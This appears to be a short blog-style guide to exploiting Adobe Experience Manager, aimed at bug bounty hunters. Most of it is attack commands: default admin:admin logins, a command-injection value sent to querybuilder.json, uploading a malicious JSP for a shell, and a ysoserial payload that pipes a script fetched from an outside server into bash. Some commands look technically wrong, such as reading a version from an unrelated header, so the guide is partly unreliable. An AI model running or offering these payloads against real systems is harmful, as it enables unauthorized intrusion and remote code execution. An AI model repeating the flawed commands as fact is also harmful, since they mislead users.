Adobe Experience Manager (AEM) is a widely used content management system, and like any complex software, it can be vulnerable to security flaws. This article explores techniques for detecting and exploiting vulnerabilities in AEM, particularly for bug bounty hunters and security researchers.
You Should Know:
Here are some practical commands and techniques to help you identify and exploit AEM vulnerabilities:
1. Reconnaissance:
- Use `curl` to identify the AEM version:
curl -I http://target.com/libs/granite/core/content/login.html | grep "X-Content-Type-Options"
- Scan for open ports using
nmap:nmap -sV -p 4502,4503 target.com
2. Exploiting Misconfigurations:
- Check for exposed CRX (Content Repository Extreme) consoles:
curl http://target.com/crx/explorer/ui/index.jsp
- If the CRX console is accessible, try default credentials (
admin:admin).
3. OS Command Injection:
- Test for command injection vulnerabilities in AEM forms:
curl -X POST http://target.com/bin/querybuilder.json --data-urlencode 'type=nt:file&property=jcr:content/jcr:data&property.value=||id||'
4. File Upload Vulnerabilities:
- Upload a malicious JSP file to gain a shell:
curl -F "[email protected]" http://target.com/bin/crxde/support/fileupload
5. Deserialization Attacks:
- Use tools like `ysoserial` to exploit Java deserialization vulnerabilities:
java -jar ysoserial.jar CommonsCollections5 'curl http://your-server.com/shell.sh | bash' > payload.bin
- Send the payload to the AEM server:
curl -X POST --data-binary @payload.bin http://target.com/bin/querybuilder.json
6. Post-Exploitation:
- Extract sensitive data from the CRX repository:
curl http://target.com/crx/de/index.jsp -u admin:admin
What Undercode Say:
AEM-based vulnerability detection is a critical skill for bug bounty hunters and security researchers. By leveraging tools like curl, nmap, and ysoserial, you can identify and exploit security flaws in AEM systems. Always ensure you have proper authorization before testing or exploiting vulnerabilities. For further reading, check out the AEM Security Checklist and OWASP AEM Security Guide.
